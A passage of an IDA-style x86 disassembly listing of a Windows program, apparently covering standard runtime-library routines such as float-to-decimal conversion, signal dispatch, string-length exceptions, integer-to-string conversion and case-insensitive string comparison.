loc_425A7E: ; CODE XREF: sub_425973+8Fj
movzx eax, dx
mov ecx, edi
mov esi, eax
shr ecx, 18h
imul eax, 4D10h
shr esi, 8
and [ebp+var_10], 0
push 1
lea ecx, [esi+ecx*2]
mov [ebp+var_6], dx
imul ecx, 4Dh
mov [ebp+var_A], edi
lea esi, [ecx+eax-134312F4h]
mov eax, [ebp+arg_0]
sar esi, 10h
mov [ebp+var_E], eax
movsx eax, si
neg eax
push eax
lea eax, [ebp+var_10]
push eax
call sub_42600E
add esp, 0Ch
cmp [ebp+var_6], 3FFFh
jb short loc_425ADF
lea eax, [ebp+var_1C]
inc esi
push eax
lea eax, [ebp+var_10]
push eax
call sub_425DEE
pop ecx
pop ecx
loc_425ADF: ; CODE XREF: sub_425973+15Aj
test [ebp+arg_10], 1
mov [ebx], si
jz short loc_425AF9
mov edi, [ebp+arg_C]
movsx eax, si
add edi, eax
test edi, edi
jg short loc_425AFC
jmp loc_4259EA
; ---------------------------------------------------------------------------
loc_425AF9: ; CODE XREF: sub_425973+173j
mov edi, [ebp+arg_C]
loc_425AFC: ; CODE XREF: sub_425973+17Fj
cmp edi, 15h
jle short loc_425B04
push 15h
pop edi
loc_425B04: ; CODE XREF: sub_425973+18Cj
movzx esi, [ebp+var_6]
sub esi, 3FFEh
and [ebp+var_6], 0
mov [ebp+arg_14], 8
loc_425B1A: ; CODE XREF: sub_425973+1B4j
lea eax, [ebp+var_10]
push eax
call sub_425380
dec [ebp+arg_14]
pop ecx
jnz short loc_425B1A
test esi, esi
jge short loc_425B44
neg esi
and esi, 0FFh
jle short loc_425B44
loc_425B37: ; CODE XREF: sub_425973+1CFj
lea eax, [ebp+var_10]
push eax
call sub_4253AE
dec esi
pop ecx
jnz short loc_425B37
loc_425B44: ; CODE XREF: sub_425973+1B8j
; sub_425973+1C2j
lea ecx, [edi+1]
lea eax, [ebx+4]
test ecx, ecx
mov [ebp+arg_14], eax
jle short loc_425BA1
mov [ebp+arg_C], ecx
loc_425B54: ; CODE XREF: sub_425973+229j
lea esi, [ebp+var_10]
lea edi, [ebp+arg_0]
movsd
movsd
lea eax, [ebp+var_10]
push eax
movsd
call sub_425380
lea eax, [ebp+var_10]
push eax
call sub_425380
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_10]
push eax
call sub_425322
lea eax, [ebp+var_10]
push eax
call sub_425380
mov al, byte ptr [ebp+var_6+1]
mov ecx, [ebp+arg_14]
and byte ptr [ebp+var_6+1], 0
add esp, 14h
add al, 30h
inc [ebp+arg_14]
dec [ebp+arg_C]
mov [ecx], al
jnz short loc_425B54
mov eax, [ebp+arg_14]
loc_425BA1: ; CODE XREF: sub_425973+1DCj
mov cl, [eax-1]
dec eax
dec eax
cmp cl, 35h
lea ecx, [ebx+4]
jl short loc_425BDE
loc_425BAE: ; CODE XREF: sub_425973+248j
cmp eax, ecx
jb short loc_425BC1
cmp byte ptr [eax], 39h
jnz short loc_425BBD
mov byte ptr [eax], 30h
dec eax
jmp short loc_425BAE
; ---------------------------------------------------------------------------
loc_425BBD: ; CODE XREF: sub_425973+242j
cmp eax, ecx
jnb short loc_425BC5
loc_425BC1: ; CODE XREF: sub_425973+23Dj
inc eax
inc word ptr [ebx]
loc_425BC5: ; CODE XREF: sub_425973+24Cj
inc byte ptr [eax]
loc_425BC7: ; CODE XREF: sub_425973+279j
sub al, bl
sub al, 3
mov [ebx+3], al
movsx eax, al
and byte ptr [eax+ebx+4], 0
loc_425BD6: ; CODE XREF: sub_425973+F0j
mov eax, [ebp+var_4]
loc_425BD9: ; CODE XREF: sub_425973+291j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_425BDE: ; CODE XREF: sub_425973+239j
; sub_425973+275j
cmp eax, ecx
jb short loc_425BEE
cmp byte ptr [eax], 30h
jnz short loc_425BEA
dec eax
jmp short loc_425BDE
; ---------------------------------------------------------------------------
loc_425BEA: ; CODE XREF: sub_425973+272j
cmp eax, ecx
jnb short loc_425BC7
loc_425BEE: ; CODE XREF: sub_425973+26Dj
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ecx], 30h
loc_425BFD: ; CODE XREF: sub_425973+87j
and byte ptr [ebx+5], 0
push 1
pop eax
jmp short loc_425BD9
sub_425973 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425C06 proc near ; CODE XREF: sub_422DFC+21DDp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov eax, edi
dec eax
dec eax
jz short loc_425C6D
dec eax
dec eax
jz short loc_425C5E
sub eax, 4
jz short loc_425C5E
sub eax, 3
jz short loc_425C5E
sub eax, 4
jz short loc_425C51
sub eax, 6
jz short loc_425C44
dec eax
jz short loc_425C37
or eax, 0FFFFFFFFh
jmp loc_425D2F
; ---------------------------------------------------------------------------
loc_425C37: ; CODE XREF: sub_425C06+27j
mov esi, dword_4DC004
mov eax, offset dword_4DC004
jmp short loc_425C78
; ---------------------------------------------------------------------------
loc_425C44: ; CODE XREF: sub_425C06+24j
mov esi, dword_4DC000
mov eax, offset dword_4DC000
jmp short loc_425C78
; ---------------------------------------------------------------------------
loc_425C51: ; CODE XREF: sub_425C06+1Fj
mov esi, dword_4DC008
mov eax, offset dword_4DC008
jmp short loc_425C78
; ---------------------------------------------------------------------------
loc_425C5E: ; CODE XREF: sub_425C06+10j
; sub_425C06+15j ...
push edi
call sub_425D33
mov esi, [eax+8]
add eax, 8
pop ecx
jmp short loc_425C78
; ---------------------------------------------------------------------------
loc_425C6D: ; CODE XREF: sub_425C06+Cj
mov esi, dword_4DBFFC
mov eax, offset dword_4DBFFC
loc_425C78: ; CODE XREF: sub_425C06+3Cj
; sub_425C06+49j ...
cmp esi, 1
jnz short loc_425C84
xor eax, eax
jmp loc_425D2F
; ---------------------------------------------------------------------------
loc_425C84: ; CODE XREF: sub_425C06+75j
test esi, esi
jnz short loc_425C8F
push 3
call sub_41C1A2
loc_425C8F: ; CODE XREF: sub_425C06+80j
push ebx
push 8
pop ecx
cmp edi, ecx
jz short loc_425CA1
cmp edi, 0Bh
jz short loc_425CA1
cmp edi, 4
jnz short loc_425CC7
loc_425CA1: ; CODE XREF: sub_425C06+8Fj
; sub_425C06+94j
mov ebx, dword_4DBE9C
and dword_4DBE9C, 0
cmp edi, ecx
jnz short loc_425CF6
mov edx, dword_43D4CC
mov dword_43D4CC, 8Ch
mov [ebp+arg_0], edx
jmp short loc_425CCA
; ---------------------------------------------------------------------------
loc_425CC7: ; CODE XREF: sub_425C06+99j
mov ebx, [ebp+arg_0]
loc_425CCA: ; CODE XREF: sub_425C06+BFj
cmp edi, ecx
jnz short loc_425CF6
mov eax, dword_43D4C0
mov ecx, dword_43D4C4
add ecx, eax
cmp eax, ecx
jge short loc_425CFD
lea edx, [eax+eax*2]
sub ecx, eax
lea edx, ds:43D450h[edx*4]
loc_425CEB: ; CODE XREF: sub_425C06+ECj
and dword ptr [edx], 0
add edx, 0Ch
dec ecx
jnz short loc_425CEB
jmp short loc_425CFD
; ---------------------------------------------------------------------------
loc_425CF6: ; CODE XREF: sub_425C06+AAj
; sub_425C06+C6j
and dword ptr [eax], 0
cmp edi, ecx
jnz short loc_425D0B
loc_425CFD: ; CODE XREF: sub_425C06+D7j
; sub_425C06+EEj
push dword_43D4CC
push 8
call esi
pop ecx
pop ecx
jmp short loc_425D19
; ---------------------------------------------------------------------------
loc_425D0B: ; CODE XREF: sub_425C06+F5j
push edi
call esi
cmp edi, 0Bh
pop ecx
jz short loc_425D19
cmp edi, 4
jnz short loc_425D2C
loc_425D19: ; CODE XREF: sub_425C06+103j
; sub_425C06+10Cj
cmp edi, 8
mov dword_4DBE9C, ebx
jnz short loc_425D2C
mov eax, [ebp+arg_0]
mov dword_43D4CC, eax
loc_425D2C: ; CODE XREF: sub_425C06+111j
; sub_425C06+11Cj
xor eax, eax
pop ebx
loc_425D2F: ; CODE XREF: sub_425C06+2Cj
; sub_425C06+79j
pop edi
pop esi
pop ebp
retn
sub_425C06 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_425D33 proc near ; CODE XREF: sub_425C06+59p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_43D4C8
cmp dword_43D44C, edx
push esi
mov eax, offset dword_43D448
jz short loc_425D61
lea esi, [ecx+ecx*2]
lea esi, ds:43D448h[esi*4]
loc_425D55: ; CODE XREF: sub_425D33+2Cj
add eax, 0Ch
cmp eax, esi
jnb short loc_425D61
cmp [eax+4], edx
jnz short loc_425D55
loc_425D61: ; CODE XREF: sub_425D33+16j
; sub_425D33+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43D448h[ecx*4]
cmp eax, ecx
jnb short loc_425D75
cmp [eax+4], edx
jz short locret_425D77
loc_425D75: ; CODE XREF: sub_425D33+3Bj
xor eax, eax
locret_425D77: ; CODE XREF: sub_425D33+40j
retn
sub_425D33 endp
; =============== S U B R O U T I N E =======================================
sub_425D78 proc near ; CODE XREF: sub_4251BB+8Bp
; sub_4251BB+D9p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_4DD140
jnb short loc_425DDF
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DD040[ecx*4]
lea edx, [ecx+eax*8+4]
mov cl, [ecx+eax*8+4]
test cl, 1
jz short loc_425DDF
mov al, cl
mov esi, 8000h
and eax, 80h
cmp [esp+4+arg_4], esi
jnz short loc_425DB8
and cl, 7Fh
jmp short loc_425DC5
; ---------------------------------------------------------------------------
loc_425DB8: ; CODE XREF: sub_425D78+39j
cmp [esp+4+arg_4], 4000h
jnz short loc_425DD3
or cl, 80h
loc_425DC5: ; CODE XREF: sub_425D78+3Ej
neg eax
sbb eax, eax
mov [edx], cl
and ax, 0C000h
add eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_425DD3: ; CODE XREF: sub_425D78+48j
mov dword_4DBDDC, 16h
jmp short loc_425DE9
; ---------------------------------------------------------------------------
loc_425DDF: ; CODE XREF: sub_425D78+Bj
; sub_425D78+27j
mov dword_4DBDDC, 9
loc_425DE9: ; CODE XREF: sub_425D78+65j
or eax, 0FFFFFFFFh
pop esi
retn
sub_425D78 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425DEE proc near ; CODE XREF: sub_425973+165p
; sub_42600E+69p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov cx, [ebx+0Ah]
xor eax, eax
push edi
mov [ebp+var_14], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_1C], eax
mov ax, [esi+0Ah]
mov edi, ecx
mov edx, 7FFFh
xor edi, eax
and eax, edx
and ecx, edx
and edi, 8000h
cmp ax, 7FFFh
lea edx, [ecx+eax]
mov [ebp+arg_0], edx
jnb loc_425FEE
cmp cx, 7FFFh
jnb loc_425FEE
cmp dx, 0BFFDh
ja loc_425FEE
cmp dx, 3FBFh
ja short loc_425E57
xor eax, eax
jmp short loc_425E91
; ---------------------------------------------------------------------------
loc_425E57: ; CODE XREF: sub_425DEE+63j
test ax, ax
mov edx, 7FFFFFFFh
jnz short loc_425E79
inc [ebp+arg_0]
test [esi+8], edx
jnz short loc_425E79
xor eax, eax
cmp [esi+4], eax
jnz short loc_425E7B
cmp [esi], eax
jnz short loc_425E7B
jmp loc_425FE8
; ---------------------------------------------------------------------------
loc_425E79: ; CODE XREF: sub_425DEE+71j
; sub_425DEE+79j
xor eax, eax
loc_425E7B: ; CODE XREF: sub_425DEE+80j
; sub_425DEE+84j
cmp cx, ax
jnz short loc_425E9E
inc [ebp+arg_0]
test [ebx+8], edx
jnz short loc_425E9E
cmp [ebx+4], eax
jnz short loc_425E9E
cmp [ebx], eax
jnz short loc_425E9E
loc_425E91: ; CODE XREF: sub_425DEE+67j
mov [esi+8], eax
mov [esi+4], eax
mov [esi], eax
jmp loc_426009
; ---------------------------------------------------------------------------
loc_425E9E: ; CODE XREF: sub_425DEE+90j
; sub_425DEE+98j ...
mov [ebp+var_10], eax
lea eax, [ebp+var_20]
mov [ebp+var_4], eax
mov [ebp+arg_4], 5
loc_425EAE: ; CODE XREF: sub_425DEE+122j
mov eax, [ebp+var_10]
add eax, eax
cmp [ebp+arg_4], 0
jle short loc_425F02
add eax, esi
lea ecx, [ebx+8]
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_C], ecx
mov [ebp+var_18], eax
loc_425ECA: ; CODE XREF: sub_425DEE+112j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
movzx eax, word ptr [eax]
movzx ecx, word ptr [ecx]
imul eax, ecx
mov ecx, [ebp+var_4]
add ecx, 0FFFFFFFCh
push ecx
push eax
push dword ptr [ecx]
call sub_425301
add esp, 0Ch
test eax, eax
jz short loc_425EF5
mov eax, [ebp+var_4]
inc word ptr [eax]
loc_425EF5: ; CODE XREF: sub_425DEE+FFj
add [ebp+var_8], 2
sub [ebp+var_C], 2
dec [ebp+var_18]
jnz short loc_425ECA
loc_425F02: ; CODE XREF: sub_425DEE+C9j
add [ebp+var_4], 2
inc [ebp+var_10]
dec [ebp+arg_4]
cmp [ebp+arg_4], 0
jg short loc_425EAE
add [ebp+arg_0], 0C002h
cmp word ptr [ebp+arg_0], 0
jle short loc_425F45
loc_425F20: ; CODE XREF: sub_425DEE+14Ej
test byte ptr [ebp+var_1C+3], 80h
jnz short loc_425F3E
lea eax, [ebp+var_24]
push eax
call sub_425380
add [ebp+arg_0], 0FFFFh
pop ecx
cmp word ptr [ebp+arg_0], 0
jg short loc_425F20
loc_425F3E: ; CODE XREF: sub_425DEE+136j
cmp word ptr [ebp+arg_0], 0
jg short loc_425F7E
loc_425F45: ; CODE XREF: sub_425DEE+130j
add [ebp+arg_0], 0FFFFh
cmp word ptr [ebp+arg_0], 0
jge short loc_425F7E
movsx eax, word ptr [ebp+arg_0]
neg eax
add [ebp+arg_0], eax
mov ebx, eax
loc_425F5E: ; CODE XREF: sub_425DEE+184j
test byte ptr [ebp+var_24], 1
jz short loc_425F67
inc [ebp+var_14]
loc_425F67: ; CODE XREF: sub_425DEE+174j
lea eax, [ebp+var_24]
push eax
call sub_4253AE
dec ebx
pop ecx
jnz short loc_425F5E
cmp [ebp+var_14], 0
jz short loc_425F7E
or byte ptr [ebp+var_24], 1
loc_425F7E: ; CODE XREF: sub_425DEE+155j
; sub_425DEE+163j ...
cmp word ptr [ebp+var_24], 8000h
ja short loc_425F95
mov eax, [ebp+var_24]
and eax, 1FFFFh
cmp eax, 18000h
jnz short loc_425FCA
loc_425F95: ; CODE XREF: sub_425DEE+196j
cmp [ebp+var_24+2], 0FFFFFFFFh
jnz short loc_425FC7
and [ebp+var_24+2], 0
cmp [ebp+var_20+2], 0FFFFFFFFh
jnz short loc_425FC2
and [ebp+var_20+2], 0
cmp word ptr [ebp+var_1C+2], 0FFFFh
jnz short loc_425FBC
inc [ebp+arg_0]
mov word ptr [ebp+var_1C+2], 8000h
jmp short loc_425FCA
; ---------------------------------------------------------------------------
loc_425FBC: ; CODE XREF: sub_425DEE+1C1j
inc word ptr [ebp+var_1C+2]
jmp short loc_425FCA
; ---------------------------------------------------------------------------
loc_425FC2: ; CODE XREF: sub_425DEE+1B5j
inc [ebp+var_20+2]
jmp short loc_425FCA
; ---------------------------------------------------------------------------
loc_425FC7: ; CODE XREF: sub_425DEE+1ABj
inc [ebp+var_24+2]
loc_425FCA: ; CODE XREF: sub_425DEE+1A5j
; sub_425DEE+1CCj ...
mov eax, [ebp+arg_0]
cmp ax, 7FFFh
jnb short loc_425FEE
mov cx, word ptr [ebp+var_24+2]
or eax, edi
mov [esi], cx
mov ecx, [ebp+var_20]
mov [esi+2], ecx
mov ecx, [ebp+var_1C]
mov [esi+6], ecx
loc_425FE8: ; CODE XREF: sub_425DEE+86j
mov [esi+0Ah], ax
jmp short loc_426009
; ---------------------------------------------------------------------------
loc_425FEE: ; CODE XREF: sub_425DEE+42j
; sub_425DEE+4Dj ...
neg di
sbb edi, edi
and dword ptr [esi+4], 0
and edi, 80000000h
add edi, 7FFF8000h
and dword ptr [esi], 0
mov [esi+8], edi
loc_426009: ; CODE XREF: sub_425DEE+ABj
; sub_425DEE+1FEj
pop edi
pop esi
pop ebx
leave
retn
sub_425DEE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42600E proc near ; CODE XREF: sub_4254A2+440p
; sub_425973+14Cp
var_C = byte ptr -0Ch
var_A = dword ptr -0Ah
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, offset dword_43D828
xor ecx, ecx
sub ebx, 60h
cmp [ebp+arg_4], ecx
jz short loc_426087
jge short loc_426036
mov eax, [ebp+arg_4]
mov ebx, offset dword_43D988
neg eax
mov [ebp+arg_4], eax
sub ebx, 60h
loc_426036: ; CODE XREF: sub_42600E+16j
cmp [ebp+arg_8], ecx
jnz short loc_426041
mov eax, [ebp+arg_0]
mov [eax], cx
loc_426041: ; CODE XREF: sub_42600E+2Bj
cmp [ebp+arg_4], ecx
jz short loc_426087
push esi
push edi
loc_426048: ; CODE XREF: sub_42600E+75j
mov eax, [ebp+arg_4]
add ebx, 54h
sar [ebp+arg_4], 3
and eax, 7
cmp eax, ecx
jz short loc_426080
lea eax, [eax+eax*2]
cmp word ptr [ebx+eax*4], 8000h
lea esi, [ebx+eax*4]
jb short loc_426073
lea edi, [ebp+var_C]
movsd
movsd
movsd
dec [ebp+var_A]
lea esi, [ebp+var_C]
loc_426073: ; CODE XREF: sub_42600E+57j
push esi
push [ebp+arg_0]
call sub_425DEE
pop ecx
pop ecx
xor ecx, ecx
loc_426080: ; CODE XREF: sub_42600E+49j
cmp [ebp+arg_4], ecx
jnz short loc_426048
pop edi
pop esi
loc_426087: ; CODE XREF: sub_42600E+14j
; sub_42600E+36j
pop ebx
leave
retn
sub_42600E endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_426090 proc near ; CODE XREF: sub_426173+19p
; sub_42629A+19p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
call sub_41B9C0
pop ecx
push eax
push [esp+8+arg_0]
mov ecx, esi
call sub_40D9B3
mov eax, esi
pop esi
retn 8
sub_426090 endp
; =============== S U B R O U T I N E =======================================
sub_4260BA proc near ; CODE XREF: sub_4260E2+3p
; sub_426168+6j ...
push esi
mov esi, ecx
push 1
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427C90
call sub_40D977
mov ecx, esi
pop esi
jmp sub_426564
sub_4260BA endp
; =============== S U B R O U T I N E =======================================
sub_4260D5 proc near ; DATA XREF: .rdata:00427C94o
; .rdata:00427CA4o ...
mov eax, [ecx+10h]
test eax, eax
jnz short locret_4260E1
mov eax, offset dword_427688
locret_4260E1: ; CODE XREF: sub_4260D5+5j
retn
sub_4260D5 endp
; =============== S U B R O U T I N E =======================================
sub_4260E2 proc near ; DATA XREF: .rdata:off_427C90o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4260BA
test [esp+4+arg_0], 1
jz short loc_4260F8
push esi
call sub_41D65F
pop ecx
loc_4260F8: ; CODE XREF: sub_4260E2+Dj
mov eax, esi
pop esi
retn 4
sub_4260E2 endp
; =============== S U B R O U T I N E =======================================
sub_4260FE proc near ; CODE XREF: sub_426173+29p
mov eax, offset loc_426AE2
call sub_41D640
push ecx
push ecx
push esi
lea eax, [ebp-10h]
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset dword_427CAC
call sub_4264DD
push dword ptr [ebp+8]
and dword ptr [ebp-4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427C90
call sub_4261B0
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_427CA0
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_4260FE endp
; =============== S U B R O U T I N E =======================================
sub_42614C proc near ; DATA XREF: .rdata:off_427CA0o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_426168
test [esp+4+arg_0], 1
jz short loc_426162
push esi
call sub_41D65F
pop ecx
loc_426162: ; CODE XREF: sub_42614C+Dj
mov eax, esi
pop esi
retn 4
sub_42614C endp
; =============== S U B R O U T I N E =======================================
sub_426168 proc near ; CODE XREF: sub_42614C+3p
; DATA XREF: .rdata:00428014o
mov dword ptr [ecx], offset off_427CA0
jmp sub_4260BA
sub_426168 endp
; =============== S U B R O U T I N E =======================================
sub_426173 proc near ; CODE XREF: sub_40D824+13p
; sub_40D9E8+Ep
mov eax, offset loc_426AF4
call sub_41D640
sub esp, 30h
lea eax, [ebp-0Dh]
push eax
push offset aInvalidStringP ; "invalid string position"
lea ecx, [ebp-20h]
call sub_426090
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_4260FE
push offset dword_428010
lea eax, [ebp-3Ch]
push eax
call sub_426587
int 3 ; Trap to Debugger
sub_426173 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4261B0 proc near ; CODE XREF: sub_4260FE+32p
; sub_4261D0+32p ...
arg_0 = dword ptr 4
push esi
xor eax, eax
push 0FFFFFFFFh
mov esi, ecx
push eax
push [esp+0Ch+arg_0]
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
call sub_40D824
mov eax, esi
pop esi
retn 4
sub_4261B0 endp
; =============== S U B R O U T I N E =======================================
sub_4261D0 proc near ; CODE XREF: sub_42629A+29p
mov eax, offset loc_426B06
call sub_41D640
push ecx
push ecx
push esi
lea eax, [ebp-10h]
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset dword_427CAC
call sub_4264DD
push dword ptr [ebp+8]
and dword ptr [ebp-4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427C90
call sub_4261B0
mov ecx, [ebp-0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_4261D0 endp
; =============== S U B R O U T I N E =======================================
sub_426218 proc near ; CODE XREF: sub_426282+7p
; sub_4262DE+7p ...
mov eax, offset loc_426B18
call sub_41D640
push ecx
push esi
push edi
mov edi, [ebp+8]
mov esi, ecx
push edi
mov [ebp-10h], esi
call sub_42651A
and dword ptr [ebp-4], 0
add edi, 0Ch
push edi
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427C90
call sub_4261B0
mov ecx, [ebp-0Ch]
pop edi
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_426218 endp
; =============== S U B R O U T I N E =======================================
sub_42625B proc near ; DATA XREF: .rdata:off_427CCCo
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_426277
test [esp+4+arg_0], 1
jz short loc_426271
push esi
call sub_41D65F
pop ecx
loc_426271: ; CODE XREF: sub_42625B+Dj
mov eax, esi
pop esi
retn 4
sub_42625B endp
; =============== S U B R O U T I N E =======================================
sub_426277 proc near ; CODE XREF: sub_42625B+3p
; DATA XREF: .rdata:004280BCo
mov dword ptr [ecx], offset off_427CCC
jmp sub_4260BA
sub_426277 endp
; =============== S U B R O U T I N E =======================================
sub_426282 proc near ; CODE XREF: sub_4262F6+46p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_426218
mov dword ptr [esi], offset off_427CA0
mov eax, esi
pop esi
retn 4
sub_426282 endp
; =============== S U B R O U T I N E =======================================
sub_42629A proc near ; CODE XREF: sub_40D774+15p
; sub_40D7CD+15p ...
mov eax, offset loc_426B2A
call sub_41D640
sub esp, 30h
lea eax, [ebp-0Dh]
push eax
push offset aStringTooLong ; "string too long"
lea ecx, [ebp-20h]
call sub_426090
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_4261D0
push offset dword_4280B8
lea eax, [ebp-3Ch]
push eax
mov dword ptr [ebp-3Ch], offset off_427CCC
call sub_426587
int 3 ; Trap to Debugger
sub_42629A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4262DE proc near ; CODE XREF: sub_4262F6+28p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_426218
mov dword ptr [esi], offset off_427CCC
mov eax, esi
pop esi
retn 4
sub_4262DE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4262F6 proc near ; DATA XREF: .rdata:00427C98o
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_426218
push offset dword_4280F8
lea eax, [ebp+var_1C]
push eax
call sub_426587
int 3 ; Trap to Debugger
loc_426314: ; DATA XREF: .rdata:00427CD4o
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_4262DE
push offset dword_4280B8
lea eax, [ebp+var_1C]
push eax
call sub_426587
int 3 ; Trap to Debugger
loc_426332: ; DATA XREF: .rdata:00427CA8o
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_426282
push offset dword_428010
lea eax, [ebp+var_1C]
push eax
call sub_426587
int 3 ; Trap to Debugger
sub_4262F6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_426350 proc near ; CODE XREF: sub_40D104+5Ep
; sub_40F3AA+14Ap ...
jmp ds:dword_427210
sub_426350 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_426356 proc near ; CODE XREF: sub_41D2AC+23p
; sub_41D550+13p
jmp ds:dword_4271A4
sub_426356 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42635C proc near ; CODE XREF: .text:0040B091p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0Ah
jnz short loc_426371
cmp [ebp+arg_0], 0
jge short loc_426371
push 1
push 0Ah
jmp short loc_426376
; ---------------------------------------------------------------------------
loc_426371: ; CODE XREF: sub_42635C+7j
; sub_42635C+Dj
push 0
push [ebp+arg_8]
loc_426376: ; CODE XREF: sub_42635C+13j
push [ebp+arg_4]
push [ebp+arg_0]
call sub_426389
mov eax, [ebp+arg_4]
add esp, 10h
pop ebp
retn
sub_42635C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426389 proc near ; CODE XREF: sub_42635C+20p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp [ebp+arg_C], 0
mov ecx, [ebp+arg_4]
push ebx
push esi
push edi
jz short loc_4263A3
mov esi, [ebp+arg_0]
mov byte ptr [ecx], 2Dh
inc ecx
neg esi
jmp short loc_4263A6
; ---------------------------------------------------------------------------
loc_4263A3: ; CODE XREF: sub_426389+Dj
mov esi, [ebp+arg_0]
loc_4263A6: ; CODE XREF: sub_426389+18j
mov edi, ecx
loc_4263A8: ; CODE XREF: sub_426389+43j
mov eax, esi
xor edx, edx
div [ebp+arg_8]
mov eax, esi
mov ebx, edx
xor edx, edx
div [ebp+arg_8]
cmp ebx, 9
mov esi, eax
jbe short loc_4263C4
add bl, 57h
jmp short loc_4263C7
; ---------------------------------------------------------------------------
loc_4263C4: ; CODE XREF: sub_426389+34j
add bl, 30h
loc_4263C7: ; CODE XREF: sub_426389+39j
mov [ecx], bl
inc ecx
test esi, esi
ja short loc_4263A8
and byte ptr [ecx], 0
dec ecx
loc_4263D2: ; CODE XREF: sub_426389+55j
mov dl, [edi]
mov al, [ecx]
mov [ecx], dl
mov [edi], al
dec ecx
inc edi
cmp edi, ecx
jb short loc_4263D2
pop edi
pop esi
pop ebx
pop ebp
retn
sub_426389 endp
; =============== S U B R O U T I N E =======================================
sub_4263E5 proc near ; CODE XREF: sub_41761C+E2p
; sub_41761C+F9p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp dword_4DBE84, 0
push ebx
jnz short loc_42642B
mov edx, [esp+4+arg_4]
mov ecx, [esp+4+arg_0]
loc_4263F7: ; CODE XREF: sub_4263E5+42j
mov bx, [ecx]
cmp bx, 5Ah
ja short loc_426409
cmp bx, 41h
jb short loc_426409
add ebx, 20h
loc_426409: ; CODE XREF: sub_4263E5+19j
; sub_4263E5+1Fj
mov ax, [edx]
cmp ax, 5Ah
ja short loc_42641B
cmp ax, 41h
jb short loc_42641B
add eax, 20h
loc_42641B: ; CODE XREF: sub_4263E5+2Bj
; sub_4263E5+31j
inc ecx
inc ecx
inc edx
inc edx
test bx, bx
jz short loc_42645B
cmp bx, ax
jz short loc_4263F7
jmp short loc_42645B
; ---------------------------------------------------------------------------
loc_42642B: ; CODE XREF: sub_4263E5+8j
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, [esp+0Ch+arg_4]
loc_426435: ; CODE XREF: sub_4263E5+72j
mov ax, [esi]
inc esi
push eax
inc esi
